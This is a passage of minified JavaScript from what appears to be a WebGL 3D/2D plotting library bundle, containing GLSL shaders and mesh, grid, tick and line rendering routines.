  vec4 surfaceColor = vec4(f_color.rgb, 1.0) * texture2D(texture, f_uv);
  vec4 litColor = surfaceColor.a * vec4(diffuse * surfaceColor.rgb + kspecular * vec3(1,1,1) * specular,  1.0);

  gl_FragColor = litColor * f_color.a;
}
`]),l=r([`precision highp float;
#define GLSLIFY 1

attribute vec3 position;
attribute vec4 color;
attribute vec2 uv;

uniform mat4 model, view, projection;

varying vec4 f_color;
varying vec3 f_data;
varying vec2 f_uv;

void main() {
  gl_Position = projection * view * model * vec4(position, 1.0);
  f_color = color;
  f_data  = position;
  f_uv    = uv;
}`]),u=r([`precision highp float;
#define GLSLIFY 1

bool outOfRange(float a, float b, float p) {
  return ((p > max(a, b)) || 
          (p < min(a, b)));
}

bool outOfRange(vec2 a, vec2 b, vec2 p) {
  return (outOfRange(a.x, b.x, p.x) ||
          outOfRange(a.y, b.y, p.y));
}

bool outOfRange(vec3 a, vec3 b, vec3 p) {
  return (outOfRange(a.x, b.x, p.x) ||
          outOfRange(a.y, b.y, p.y) ||
          outOfRange(a.z, b.z, p.z));
}

bool outOfRange(vec4 a, vec4 b, vec4 p) {
  return outOfRange(a.xyz, b.xyz, p.xyz);
}

uniform vec3 clipBounds[2];
uniform sampler2D texture;
uniform float opacity;

varying vec4 f_color;
varying vec3 f_data;
varying vec2 f_uv;

void main() {
  if (outOfRange(clipBounds[0], clipBounds[1], f_data)) discard;

  gl_FragColor = f_color * texture2D(texture, f_uv) * opacity;
}`]),s=r([`precision highp float;
#define GLSLIFY 1

bool outOfRange(float a, float b, float p) {
  return ((p > max(a, b)) || 
          (p < min(a, b)));
}

bool outOfRange(vec2 a, vec2 b, vec2 p) {
  return (outOfRange(a.x, b.x, p.x) ||
          outOfRange(a.y, b.y, p.y));
}

bool outOfRange(vec3 a, vec3 b, vec3 p) {
  return (outOfRange(a.x, b.x, p.x) ||
          outOfRange(a.y, b.y, p.y) ||
          outOfRange(a.z, b.z, p.z));
}

bool outOfRange(vec4 a, vec4 b, vec4 p) {
  return outOfRange(a.xyz, b.xyz, p.xyz);
}

attribute vec3 position;
attribute vec4 color;
attribute vec2 uv;
attribute float pointSize;

uniform mat4 model, view, projection;
uniform vec3 clipBounds[2];

varying vec4 f_color;
varying vec2 f_uv;

void main() {
  if (outOfRange(clipBounds[0], clipBounds[1], position)) {

    gl_Position = vec4(0.0, 0.0 ,0.0 ,0.0);
  } else {
    gl_Position = projection * view * model * vec4(position, 1.0);
  }
  gl_PointSize = pointSize;
  f_color = color;
  f_uv = uv;
}`]),y=r([`precision highp float;
#define GLSLIFY 1

uniform sampler2D texture;
uniform float opacity;

varying vec4 f_color;
varying vec2 f_uv;

void main() {
  vec2 pointR = gl_PointCoord.xy - vec2(0.5, 0.5);
  if(dot(pointR, pointR) > 0.25) {
    discard;
  }
  gl_FragColor = f_color * texture2D(texture, f_uv) * opacity;
}`]),c=r([`precision highp float;
#define GLSLIFY 1

attribute vec3 position;
attribute vec4 id;

uniform mat4 model, view, projection;

varying vec3 f_position;
varying vec4 f_id;

void main() {
  gl_Position = projection * view * model * vec4(position, 1.0);
  f_id        = id;
  f_position  = position;
}`]),b=r([`precision highp float;
#define GLSLIFY 1

bool outOfRange(float a, float b, float p) {
  return ((p > max(a, b)) || 
          (p < min(a, b)));
}

bool outOfRange(vec2 a, vec2 b, vec2 p) {
  return (outOfRange(a.x, b.x, p.x) ||
          outOfRange(a.y, b.y, p.y));
}

bool outOfRange(vec3 a, vec3 b, vec3 p) {
  return (outOfRange(a.x, b.x, p.x) ||
          outOfRange(a.y, b.y, p.y) ||
          outOfRange(a.z, b.z, p.z));
}

bool outOfRange(vec4 a, vec4 b, vec4 p) {
  return outOfRange(a.xyz, b.xyz, p.xyz);
}

uniform vec3  clipBounds[2];
uniform float pickId;

varying vec3 f_position;
varying vec4 f_id;

void main() {
  if (outOfRange(clipBounds[0], clipBounds[1], f_position)) discard;

  gl_FragColor = vec4(pickId, f_id.xyz);
}`]),h=r([`precision highp float;
#define GLSLIFY 1

bool outOfRange(float a, float b, float p) {
  return ((p > max(a, b)) || 
          (p < min(a, b)));
}

bool outOfRange(vec2 a, vec2 b, vec2 p) {
  return (outOfRange(a.x, b.x, p.x) ||
          outOfRange(a.y, b.y, p.y));
}

bool outOfRange(vec3 a, vec3 b, vec3 p) {
  return (outOfRange(a.x, b.x, p.x) ||
          outOfRange(a.y, b.y, p.y) ||
          outOfRange(a.z, b.z, p.z));
}

bool outOfRange(vec4 a, vec4 b, vec4 p) {
  return outOfRange(a.xyz, b.xyz, p.xyz);
}

attribute vec3  position;
attribute float pointSize;
attribute vec4  id;

uniform mat4 model, view, projection;
uniform vec3 clipBounds[2];

varying vec3 f_position;
varying vec4 f_id;

void main() {
  if (outOfRange(clipBounds[0], clipBounds[1], position)) {

    gl_Position = vec4(0.0, 0.0, 0.0, 0.0);
  } else {
    gl_Position  = projection * view * model * vec4(position, 1.0);
    gl_PointSize = pointSize;
  }
  f_id         = id;
  f_position   = position;
}`]),i=r([`precision highp float;
#define GLSLIFY 1

attribute vec3 position;

uniform mat4 model, view, projection;

void main() {
  gl_Position = projection * view * model * vec4(position, 1.0);
}`]),v=r([`precision highp float;
#define GLSLIFY 1

uniform vec3 contourColor;

void main() {
  gl_FragColor = vec4(contourColor, 1.0);
}
`]);g.meshShader={vertex:f,fragment:a,attributes:[{name:"position",type:"vec3"},{name:"normal",type:"vec3"},{name:"color",type:"vec4"},{name:"uv",type:"vec2"}]},g.wireShader={vertex:l,fragment:u,attributes:[{name:"position",type:"vec3"},{name:"color",type:"vec4"},{name:"uv",type:"vec2"}]},g.pointShader={vertex:s,fragment:y,attributes:[{name:"position",type:"vec3"},{name:"color",type:"vec4"},{name:"uv",type:"vec2"},{name:"pointSize",type:"float"}]},g.pickShader={vertex:c,fragment:b,attributes:[{name:"position",type:"vec3"},{name:"id",type:"vec4"}]},g.pointPickShader={vertex:h,fragment:b,attributes:[{name:"position",type:"vec3"},{name:"pointSize",type:"float"},{name:"id",type:"vec4"}]},g.contourShader={vertex:i,fragment:v,attributes:[{name:"position",type:"vec3"}]}},8116:function(d,g,t){var r=1e-6,f=1e-6,a=t(5158),l=t(5827),u=t(2944),s=t(8931),y=t(115),c=t(104),b=t(7437),h=t(5050),i=t(9156),v=t(7212),T=t(5306),w=t(2056),E=t(4340),p=w.meshShader,A=w.wireShader,m=w.pointShader,n=w.pickShader,C=w.pointPickShader,x=w.contourShader,I=[1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1];function k(X,W,V,Y,Q,ie,j,K,oe,re,le,pe,we,xe,ke,_e,be,ge,Te,Fe,Oe,Ce,Be,$e,Xe,Ze,Ke){this.gl=X,this.pixelRatio=1,this.cells=[],this.positions=[],this.intensity=[],this.texture=W,this.dirty=!0,this.triShader=V,this.lineShader=Y,this.pointShader=Q,this.pickShader=ie,this.pointPickShader=j,this.contourShader=K,this.trianglePositions=oe,this.triangleColors=le,this.triangleNormals=we,this.triangleUVs=pe,this.triangleIds=re,this.triangleVAO=xe,this.triangleCount=0,this.lineWidth=1,this.edgePositions=ke,this.edgeColors=be,this.edgeUVs=ge,this.edgeIds=_e,this.edgeVAO=Te,this.edgeCount=0,this.pointPositions=Fe,this.pointColors=Ce,this.pointUVs=Be,this.pointSizes=$e,this.pointIds=Oe,this.pointVAO=Xe,this.pointCount=0,this.contourLineWidth=1,this.contourPositions=Ze,this.contourVAO=Ke,this.contourCount=0,this.contourColor=[0,0,0],this.contourEnable=!0,this.pickVertex=!0,this.pickId=1,this.bounds=[[1/0,1/0,1/0],[-1/0,-1/0,-1/0]],this.clipBounds=[[-1/0,-1/0,-1/0],[1/0,1/0,1/0]],this.lightPosition=[1e5,1e5,0],this.ambientLight=.8,this.diffuseLight=.8,this.specularLight=2,this.roughness=.5,this.fresnel=1.5,this.opacity=1,this.hasAlpha=!1,this.opacityscale=!1,this._model=I,this._view=I,this._projection=I,this._resolution=[1,1]}var B=k.prototype;B.isOpaque=function(){return!this.hasAlpha},B.isTransparent=function(){return this.hasAlpha},B.pickSlots=1,B.setPickBase=function(X){this.pickId=X};function _(X,W){if(!W||!W.length)return 1;for(var V=0;V<W.length;++V){if(W.length<2)return 1;if(W[V][0]===X)return W[V][1];if(W[V][0]>X&&V>0){var Y=(W[V][0]-X)/(W[V][0]-W[V-1][0]);return W[V][1]*(1-Y)+Y*W[V-1][1]}}return 1}function F(X,W){for(var V=i({colormap:X,nshades:256,format:"rgba"}),Y=new Uint8Array(256*4),Q=0;Q<256;++Q){for(var ie=V[Q],j=0;j<3;++j)Y[4*Q+j]=ie[j];W?Y[4*Q+3]=255*_(Q/255,W):Y[4*Q+3]=255*ie[3]}return h(Y,[256,256,4],[4,0,1])}function O(X){for(var W=X.length,V=new Array(W),Y=0;Y<W;++Y)V[Y]=X[Y][2];return V}B.highlight=function(X){if(!X||!this.contourEnable){this.contourCount=0;return}for(var W=v(this.cells,this.intensity,X.intensity),V=W.cells,Y=W.vertexIds,Q=W.vertexWeights,ie=V.length,j=T.mallocFloat32(2*3*ie),K=0,oe=0;oe<ie;++oe)for(var re=V[oe],le=0;le<2;++le){var pe=re[0];re.length===2&&(pe=re[le]);for(var we=Y[pe][0],xe=Y[pe][1],ke=Q[pe],_e=1-ke,be=this.positions[we],ge=this.positions[xe],Te=0;Te<3;++Te)j[K++]=ke*be[Te]+_e*ge[Te]}this.contourCount=K/3|0,this.contourPositions.update(j.subarray(0,K)),T.free(j)},B.update=function(X){X=X||{};var W=this.gl;this.dirty=!0,"contourEnable"in X&&(this.contourEnable=X.contourEnable),"contourColor"in X&&(this.contourColor=X.contourColor),"lineWidth"in X&&(this.lineWidth=X.lineWidth),"lightPosition"in X&&(this.lightPosition=X.lightPosition),this.hasAlpha=!1,"opacity"in X&&(this.opacity=X.opacity,this.opacity<1&&(this.hasAlpha=!0)),"opacityscale"in X&&(this.opacityscale=X.opacityscale,this.hasAlpha=!0),"ambient"in X&&(this.ambientLight=X.ambient),"diffuse"in X&&(this.diffuseLight=X.diffuse),"specular"in X&&(this.specularLight=X.specular),"roughness"in X&&(this.roughness=X.roughness),"fresnel"in X&&(this.fresnel=X.fresnel),X.texture?(this.texture.dispose(),this.texture=s(W,X.texture)):X.colormap&&(this.texture.shape=[256,256],this.texture.minFilter=W.LINEAR_MIPMAP_LINEAR,this.texture.magFilter=W.LINEAR,this.texture.setPixels(F(X.colormap,this.opacityscale)),this.texture.generateMipmap());var V=X.cells,Y=X.positions;if(!(!Y||!V)){var Q=[],ie=[],j=[],K=[],oe=[],re=[],le=[],pe=[],we=[],xe=[],ke=[],_e=[],be=[],ge=[];this.cells=V,this.positions=Y;var Te=X.vertexNormals,Fe=X.cellNormals,Oe=X.vertexNormalsEpsilon===void 0?r:X.vertexNormalsEpsilon,Ce=X.faceNormalsEpsilon===void 0?f:X.faceNormalsEpsilon;X.useFacetNormals&&!Fe&&(Fe=y.faceNormals(V,Y,Ce)),!Fe&&!Te&&(Te=y.vertexNormals(V,Y,Oe));var Be=X.vertexColors,$e=X.cellColors,Xe=X.meshColor||[1,1,1,1],Ze=X.vertexUVs,Ke=X.vertexIntensity,st=X.cellUVs,lt=X.cellIntensity,ut=1/0,yt=-1/0;if(!Ze&&!st)if(Ke)if(X.vertexIntensityBounds)ut=+X.vertexIntensityBounds[0],yt=+X.vertexIntensityBounds[1];else for(var bt=0;bt<Ke.length;++bt){var Ot=Ke[bt];ut=Math.min(ut,Ot),yt=Math.max(yt,Ot)}else if(lt)if(X.cellIntensityBounds)ut=+X.cellIntensityBounds[0],yt=+X.cellIntensityBounds[1];else for(var bt=0;bt<lt.length;++bt){var Ot=lt[bt];ut=Math.min(ut,Ot),yt=Math.max(yt,Ot)}else for(var bt=0;bt<Y.length;++bt){var Ot=Y[bt][2];ut=Math.min(ut,Ot),yt=Math.max(yt,Ot)}Ke?this.intensity=Ke:lt?this.intensity=lt:this.intensity=O(Y),this.pickVertex=!(lt||$e);var Ge=X.pointSizes,Le=X.pointSize||1;this.bounds=[[1/0,1/0,1/0],[-1/0,-1/0,-1/0]];for(var bt=0;bt<Y.length;++bt)for(var Pe=Y[bt],De=0;De<3;++De)isNaN(Pe[De])||!isFinite(Pe[De])||(this.bounds[0][De]=Math.min(this.bounds[0][De],Pe[De]),this.bounds[1][De]=Math.max(this.bounds[1][De],Pe[De]));var Ee=0,ye=0,ae=0;e:for(var bt=0;bt<V.length;++bt){var de=V[bt];switch(de.length){case 1:for(var Me=de[0],Pe=Y[Me],De=0;De<3;++De)if(isNaN(Pe[De])||!isFinite(Pe[De]))continue e;xe.push(Pe[0],Pe[1],Pe[2]);var Ie;Be?Ie=Be[Me]:$e?Ie=$e[bt]:Ie=Xe,this.opacityscale&&Ke?ie.push(Ie[0],Ie[1],Ie[2],this.opacity*_((Ke[Me]-ut)/(yt-ut),this.opacityscale)):Ie.length===3?ke.push(Ie[0],Ie[1],Ie[2],this.opacity):(ke.push(Ie[0],Ie[1],Ie[2],Ie[3]*this.opacity),Ie[3]<1&&(this.hasAlpha=!0));var Qe;Ze?Qe=Ze[Me]:Ke?Qe=[(Ke[Me]-ut)/(yt-ut),0]:st?Qe=st[bt]:lt?Qe=[(lt[bt]-ut)/(yt-ut),0]:Qe=[(Pe[2]-ut)/(yt-ut),0],_e.push(Qe[0],Qe[1]),Ge?be.push(Ge[Me]):be.push(Le),ge.push(bt),ae+=1;break;case 2:for(var De=0;De<2;++De)for(var Me=de[De],Pe=Y[Me],et=0;et<3;++et)if(isNaN(Pe[et])||!isFinite(Pe[et]))continue e;for(var De=0;De<2;++De){var Me=de[De],Pe=Y[Me];re.push(Pe[0],Pe[1],Pe[2]);var Ie;Be?Ie=Be[Me]:$e?Ie=$e[bt]:Ie=Xe,this.opacityscale&&Ke?ie.push(Ie[0],Ie[1],Ie[2],this.opacity*_((Ke[Me]-ut)/(yt-ut),this.opacityscale)):Ie.length===3?le.push(Ie[0],Ie[1],Ie[2],this.opacity):(le.push(Ie[0],Ie[1],Ie[2],Ie[3]*this.opacity),Ie[3]<1&&(this.hasAlpha=!0));var Qe;Ze?Qe=Ze[Me]:Ke?Qe=[(Ke[Me]-ut)/(yt-ut),0]:st?Qe=st[bt]:lt?Qe=[(lt[bt]-ut)/(yt-ut),0]:Qe=[(Pe[2]-ut)/(yt-ut),0],pe.push(Qe[0],Qe[1]),we.push(bt)}ye+=1;break;case 3:for(var De=0;De<3;++De)for(var Me=de[De],Pe=Y[Me],et=0;et<3;++et)if(isNaN(Pe[et])||!isFinite(Pe[et]))continue e;for(var De=0;De<3;++De){var Me=de[2-De],Pe=Y[Me];Q.push(Pe[0],Pe[1],Pe[2]);var Ie;Be?Ie=Be[Me]:$e?Ie=$e[bt]:Ie=Xe,Ie?this.opacityscale&&Ke?ie.push(Ie[0],Ie[1],Ie[2],this.opacity*_((Ke[Me]-ut)/(yt-ut),this.opacityscale)):Ie.length===3?ie.push(Ie[0],Ie[1],Ie[2],this.opacity):(ie.push(Ie[0],Ie[1],Ie[2],Ie[3]*this.opacity),Ie[3]<1&&(this.hasAlpha=!0)):ie.push(.5,.5,.5,1);var Qe;Ze?Qe=Ze[Me]:Ke?Qe=[(Ke[Me]-ut)/(yt-ut),0]:st?Qe=st[bt]:lt?Qe=[(lt[bt]-ut)/(yt-ut),0]:Qe=[(Pe[2]-ut)/(yt-ut),0],K.push(Qe[0],Qe[1]);var pt;Te?pt=Te[Me]:pt=Fe[bt],j.push(pt[0],pt[1],pt[2]),oe.push(bt)}Ee+=1;break}}this.pointCount=ae,this.edgeCount=ye,this.triangleCount=Ee,this.pointPositions.update(xe),this.pointColors.update(ke),this.pointUVs.update(_e),this.pointSizes.update(be),this.pointIds.update(new Uint32Array(ge)),this.edgePositions.update(re),this.edgeColors.update(le),this.edgeUVs.update(pe),this.edgeIds.update(new Uint32Array(we)),this.trianglePositions.update(Q),this.triangleColors.update(ie),this.triangleUVs.update(K),this.triangleNormals.update(j),this.triangleIds.update(new Uint32Array(oe))}},B.drawTransparent=B.draw=function(X){X=X||{};for(var W=this.gl,V=X.model||I,Y=X.view||I,Q=X.projection||I,ie=[[-1e6,-1e6,-1e6],[1e6,1e6,1e6]],j=0;j<3;++j)ie[0][j]=Math.max(ie[0][j],this.clipBounds[0][j]),ie[1][j]=Math.min(ie[1][j],this.clipBounds[1][j]);var K={model:V,view:Y,projection:Q,inverseModel:I.slice(),clipBounds:ie,kambient:this.ambientLight,kdiffuse:this.diffuseLight,kspecular:this.specularLight,roughness:this.roughness,fresnel:this.fresnel,eyePosition:[0,0,0],lightPosition:[0,0,0],contourColor:this.contourColor,texture:0};K.inverseModel=b(K.inverseModel,K.model),W.disable(W.CULL_FACE),this.texture.bind(0);var oe=new Array(16);c(oe,K.view,K.model),c(oe,K.projection,oe),b(oe,oe);for(var j=0;j<3;++j)K.eyePosition[j]=oe[12+j]/oe[15];for(var re=oe[15],j=0;j<3;++j)re+=this.lightPosition[j]*oe[4*j+3];for(var j=0;j<3;++j){for(var le=oe[12+j],pe=0;pe<3;++pe)le+=oe[4*pe+j]*this.lightPosition[pe];K.lightPosition[j]=le/re}if(this.triangleCount>0){var we=this.triShader;we.bind(),we.uniforms=K,this.triangleVAO.bind(),W.drawArrays(W.TRIANGLES,0,this.triangleCount*3),this.triangleVAO.unbind()}if(this.edgeCount>0&&this.lineWidth>0){var we=this.lineShader;we.bind(),we.uniforms=K,this.edgeVAO.bind(),W.lineWidth(this.lineWidth*this.pixelRatio),W.drawArrays(W.LINES,0,this.edgeCount*2),this.edgeVAO.unbind()}if(this.pointCount>0){var we=this.pointShader;we.bind(),we.uniforms=K,this.pointVAO.bind(),W.drawArrays(W.POINTS,0,this.pointCount),this.pointVAO.unbind()}if(this.contourEnable&&this.contourCount>0&&this.contourLineWidth>0){var we=this.contourShader;we.bind(),we.uniforms=K,this.contourVAO.bind(),W.drawArrays(W.LINES,0,this.contourCount),this.contourVAO.unbind()}},B.drawPick=function(X){X=X||{};for(var W=this.gl,V=X.model||I,Y=X.view||I,Q=X.projection||I,ie=[[-1e6,-1e6,-1e6],[1e6,1e6,1e6]],j=0;j<3;++j)ie[0][j]=Math.max(ie[0][j],this.clipBounds[0][j]),ie[1][j]=Math.min(ie[1][j],this.clipBounds[1][j]);this._model=[].slice.call(V),this._view=[].slice.call(Y),this._projection=[].slice.call(Q),this._resolution=[W.drawingBufferWidth,W.drawingBufferHeight];var K={model:V,view:Y,projection:Q,clipBounds:ie,pickId:this.pickId/255},oe=this.pickShader;if(oe.bind(),oe.uniforms=K,this.triangleCount>0&&(this.triangleVAO.bind(),W.drawArrays(W.TRIANGLES,0,this.triangleCount*3),this.triangleVAO.unbind()),this.edgeCount>0&&(this.edgeVAO.bind(),W.lineWidth(this.lineWidth*this.pixelRatio),W.drawArrays(W.LINES,0,this.edgeCount*2),this.edgeVAO.unbind()),this.pointCount>0){var oe=this.pointPickShader;oe.bind(),oe.uniforms=K,this.pointVAO.bind(),W.drawArrays(W.POINTS,0,this.pointCount),this.pointVAO.unbind()}},B.pick=function(X){if(!X||X.id!==this.pickId)return null;for(var W=X.value[0]+256*X.value[1]+65536*X.value[2],V=this.cells[W],Y=this.positions,Q=new Array(V.length),ie=0;ie<V.length;++ie)Q[ie]=Y[V[ie]];var j=X.coord[0],K=X.coord[1];if(!this.pickVertex){var oe=this.positions[V[0]],re=this.positions[V[1]],le=this.positions[V[2]],pe=[(oe[0]+re[0]+le[0])/3,(oe[1]+re[1]+le[1])/3,(oe[2]+re[2]+le[2])/3];return{_cellCenter:!0,position:[j,K],index:W,cell:V,cellId:W,intensity:this.intensity[W],dataCoordinate:pe}}var we=E(Q,[j*this.pixelRatio,this._resolution[1]-K*this.pixelRatio],this._model,this._view,this._projection,this._resolution);if(!we)return null;for(var xe=we[2],ke=0,ie=0;ie<V.length;++ie)ke+=xe[ie]*this.intensity[V[ie]];return{position:we[1],index:V[we[0]],cell:V,cellId:W,intensity:ke,dataCoordinate:this.positions[V[we[0]]]}},B.dispose=function(){this.texture.dispose(),this.triShader.dispose(),this.lineShader.dispose(),this.pointShader.dispose(),this.pickShader.dispose(),this.pointPickShader.dispose(),this.triangleVAO.dispose(),this.trianglePositions.dispose(),this.triangleColors.dispose(),this.triangleUVs.dispose(),this.triangleNormals.dispose(),this.triangleIds.dispose(),this.edgeVAO.dispose(),this.edgePositions.dispose(),this.edgeColors.dispose(),this.edgeUVs.dispose(),this.edgeIds.dispose(),this.pointVAO.dispose(),this.pointPositions.dispose(),this.pointColors.dispose(),this.pointUVs.dispose(),this.pointSizes.dispose(),this.pointIds.dispose(),this.contourVAO.dispose(),this.contourPositions.dispose(),this.contourShader.dispose()};function z(X){var W=a(X,p.vertex,p.fragment);return W.attributes.position.location=0,W.attributes.color.location=2,W.attributes.uv.location=3,W.attributes.normal.location=4,W}function N(X){var W=a(X,A.vertex,A.fragment);return W.attributes.position.location=0,W.attributes.color.location=2,W.attributes.uv.location=3,W}function G(X){var W=a(X,m.vertex,m.fragment);return W.attributes.position.location=0,W.attributes.color.location=2,W.attributes.uv.location=3,W.attributes.pointSize.location=4,W}function J(X){var W=a(X,n.vertex,n.fragment);return W.attributes.position.location=0,W.attributes.id.location=1,W}function q(X){var W=a(X,C.vertex,C.fragment);return W.attributes.position.location=0,W.attributes.id.location=1,W.attributes.pointSize.location=4,W}function ne(X){var W=a(X,x.vertex,x.fragment);return W.attributes.position.location=0,W}function fe(X,W){arguments.length===1&&(W=X,X=W.gl);var V=X.getExtension("OES_standard_derivatives")||X.getExtension("MOZ_OES_standard_derivatives")||X.getExtension("WEBKIT_OES_standard_derivatives");if(!V)throw new Error("derivatives not supported");var Y=z(X),Q=N(X),ie=G(X),j=J(X),K=q(X),oe=ne(X),re=s(X,h(new Uint8Array([255,255,255,255]),[1,1,4]));re.generateMipmap(),re.minFilter=X.LINEAR_MIPMAP_LINEAR,re.magFilter=X.LINEAR;var le=l(X),pe=l(X),we=l(X),xe=l(X),ke=l(X),_e=u(X,[{buffer:le,type:X.FLOAT,size:3},{buffer:ke,type:X.UNSIGNED_BYTE,size:4,normalized:!0},{buffer:pe,type:X.FLOAT,size:4},{buffer:we,type:X.FLOAT,size:2},{buffer:xe,type:X.FLOAT,size:3}]),be=l(X),ge=l(X),Te=l(X),Fe=l(X),Oe=u(X,[{buffer:be,type:X.FLOAT,size:3},{buffer:Fe,type:X.UNSIGNED_BYTE,size:4,normalized:!0},{buffer:ge,type:X.FLOAT,size:4},{buffer:Te,type:X.FLOAT,size:2}]),Ce=l(X),Be=l(X),$e=l(X),Xe=l(X),Ze=l(X),Ke=u(X,[{buffer:Ce,type:X.FLOAT,size:3},{buffer:Ze,type:X.UNSIGNED_BYTE,size:4,normalized:!0},{buffer:Be,type:X.FLOAT,size:4},{buffer:$e,type:X.FLOAT,size:2},{buffer:Xe,type:X.FLOAT,size:1}]),st=l(X),lt=u(X,[{buffer:st,type:X.FLOAT,size:3}]),ut=new k(X,re,Y,Q,ie,j,K,oe,le,ke,pe,we,xe,_e,be,Fe,ge,Te,Oe,Ce,Ze,Be,$e,Xe,Ke,st,lt);return ut.update(W),ut}d.exports=fe},4554:function(d,g,t){d.exports=s;var r=t(5827),f=t(5158),a=t(2709);function l(y,c,b){this.plot=y,this.vbo=c,this.shader=b}var u=l.prototype;u.bind=function(){var y=this.shader;this.vbo.bind(),this.shader.bind(),y.attributes.coord.pointer(),y.uniforms.screenBox=this.plot.screenBox},u.drawBox=function(){var y=[0,0],c=[0,0];return function(b,h,i,v,T){var w=this.plot,E=this.shader,p=w.gl;y[0]=b,y[1]=h,c[0]=i,c[1]=v,E.uniforms.lo=y,E.uniforms.hi=c,E.uniforms.color=T,p.drawArrays(p.TRIANGLE_STRIP,0,4)}}(),u.dispose=function(){this.vbo.dispose(),this.shader.dispose()};function s(y){var c=y.gl,b=r(c,[0,0,0,1,1,0,1,1]),h=f(c,a.boxVert,a.lineFrag);return new l(y,b,h)}},3016:function(d,g,t){d.exports=c;var r=t(5827),f=t(5158),a=t(5070),l=t(2709);function u(b,h,i,v){this.plot=b,this.vbo=h,this.shader=i,this.tickShader=v,this.ticks=[[],[]]}function s(b,h){return b-h}var y=u.prototype;y.draw=function(){var b=[0,0],h=[0,0],i=[0,0];return function(){for(var v=this.plot,T=this.vbo,w=this.shader,E=this.ticks,p=v.gl,A=v._tickBounds,m=v.dataBox,n=v.viewBox,C=v.gridLineWidth,x=v.gridLineColor,I=v.gridLineEnable,k=v.pixelRatio,B=0;B<2;++B){var _=A[B],F=A[B+2],O=F-_,z=.5*(m[B+2]+m[B]),N=m[B+2]-m[B];h[B]=2*O/N,b[B]=2*(_-z)/N}w.bind(),T.bind(),w.attributes.dataCoord.pointer(),w.uniforms.dataShift=b,w.uniforms.dataScale=h;for(var G=0,B=0;B<2;++B){i[0]=i[1]=0,i[B]=1,w.uniforms.dataAxis=i,w.uniforms.lineWidth=C[B]/(n[B+2]-n[B])*k,w.uniforms.color=x[B];var J=E[B].length*6;I[B]&&J&&p.drawArrays(p.TRIANGLES,G,J),G+=J}}}(),y.drawTickMarks=function(){var b=[0,0],h=[0,0],i=[1,0],v=[0,1],T=[0,0],w=[0,0];return function(){for(var E=this.plot,p=this.vbo,A=this.tickShader,m=this.ticks,n=E.gl,C=E._tickBounds,x=E.dataBox,I=E.viewBox,k=E.pixelRatio,B=E.screenBox,_=B[2]-B[0],F=B[3]-B[1],O=I[2]-I[0],z=I[3]-I[1],N=0;N<2;++N){var G=C[N],J=C[N+2],q=J-G,ne=.5*(x[N+2]+x[N]),fe=x[N+2]-x[N];h[N]=2*q/fe,b[N]=2*(G-ne)/fe}h[0]*=O/_,b[0]*=O/_,h[1]*=z/F,b[1]*=z/F,A.bind(),p.bind(),A.attributes.dataCoord.pointer();var X=A.uniforms;X.dataShift=b,X.dataScale=h;var W=E.tickMarkLength,V=E.tickMarkWidth,Y=E.tickMarkColor,Q=0,ie=m[0].length*6,j=Math.min(a.ge(m[0],(x[0]-C[0])/(C[2]-C[0]),s),m[0].length),K=Math.min(a.gt(m[0],(x[2]-C[0])/(C[2]-C[0]),s),m[0].length),oe=Q+6*j,re=6*Math.max(0,K-j),le=Math.min(a.ge(m[1],(x[1]-C[1])/(C[3]-C[1]),s),m[1].length),pe=Math.min(a.gt(m[1],(x[3]-C[1])/(C[3]-C[1]),s),m[1].length),we=ie+6*le,xe=6*Math.max(0,pe-le);T[0]=2*(I[0]-W[1])/_-1,T[1]=(I[3]+I[1])/F-1,w[0]=W[1]*k/_,w[1]=V[1]*k/F,xe&&(X.color=Y[1],X.tickScale=w,X.dataAxis=v,X.screenOffset=T,n.drawArrays(n.TRIANGLES,we,xe)),T[0]=(I[2]+I[0])/_-1,T[1]=2*(I[1]-W[0])/F-1,w[0]=V[0]*k/_,w[1]=W[0]*k/F,re&&(X.color=Y[0],X.tickScale=w,X.dataAxis=i,X.screenOffset=T,n.drawArrays(n.TRIANGLES,oe,re)),T[0]=2*(I[2]+W[3])/_-1,T[1]=(I[3]+I[1])/F-1,w[0]=W[3]*k/_,w[1]=V[3]*k/F,xe&&(X.color=Y[3],X.tickScale=w,X.dataAxis=v,X.screenOffset=T,n.drawArrays(n.TRIANGLES,we,xe)),T[0]=(I[2]+I[0])/_-1,T[1]=2*(I[3]+W[2])/F-1,w[0]=V[2]*k/_,w[1]=W[2]*k/F,re&&(X.color=Y[2],X.tickScale=w,X.dataAxis=i,X.screenOffset=T,n.drawArrays(n.TRIANGLES,oe,re))}}(),y.update=function(){var b=[1,1,-1,-1,1,-1],h=[1,-1,1,1,-1,-1];return function(i){var v=i.ticks,T=i.bounds,w=new Float32Array(6*3*(v[0].length+v[1].length));this.plot.zeroLineEnable;for(var E=0,p=[[],[]],A=0;A<2;++A)for(var m=p[A],n=v[A],C=T[A],x=T[A+2],I=0;I<n.length;++I){var k=(n[I].x-C)/(x-C);m.push(k);for(var B=0;B<6;++B)w[E++]=k,w[E++]=b[B],w[E++]=h[B]}this.ticks=p,this.vbo.update(w)}}(),y.dispose=function(){this.vbo.dispose(),this.shader.dispose(),this.tickShader.dispose()};function c(b){var h=b.gl,i=r(h),v=f(h,l.gridVert,l.gridFrag),T=f(h,l.tickVert,l.gridFrag),w=new u(b,i,v,T);return w}},1154:function(d,g,t){d.exports=s;var r=t(5827),f=t(5158),a=t(2709);function l(y,c,b){this.plot=y,this.vbo=c,this.shader=b}var u=l.prototype;u.bind=function(){var y=this.shader;this.vbo.bind(),this.shader.bind(),y.attributes.coord.pointer(),y.uniforms.screenBox=this.plot.screenBox},u.drawLine=function(){var y=[0,0],c=[0,0];return function(b,h,i,v,T,w){var E=this.plot,p=this.shader,A=E.gl;y[0]=b,y[1]=h,c[0]=i,c[1]=v,p.uniforms.start=y,p.uniforms.end=c,p.uniforms.width=T*E.pixelRatio,p.uniforms.color=w,A.drawArrays(A.TRIANGLE_STRIP,0,4)}}(),u.dispose=function(){this.vbo.dispose(),this.shader.dispose()};function s(y){var c=y.gl,b=r(c,[-1,-1,-1,1,1,-1,1,1]),h=f(c,a.lineVert,a.lineFrag),i=new l(y,b,h);return i}},2709:function(d,g,t){var r=t(6832),f=r([`precision lowp float;
#define GLSLIFY 1
uniform vec4 color;
void main() {
  gl_FragColor = vec4(color.xyz * color.w, color.w);
}
`]);d.exports={lineVert:r([`precision mediump float;
#define GLSLIFY 1

attribute vec2 coord;

uniform vec4 screenBox;
uniform vec2 start, end;
uniform float width;

vec2 perp(vec2 v) {
  return vec2(v.y, -v.x);
}

vec2 screen(vec2 v) {
  return 2.0 * (v - screenBox.xy) / (screenBox.zw - screenBox.xy) - 1.0;
}

void main() {
  vec2 delta = normalize(perp(start - end));
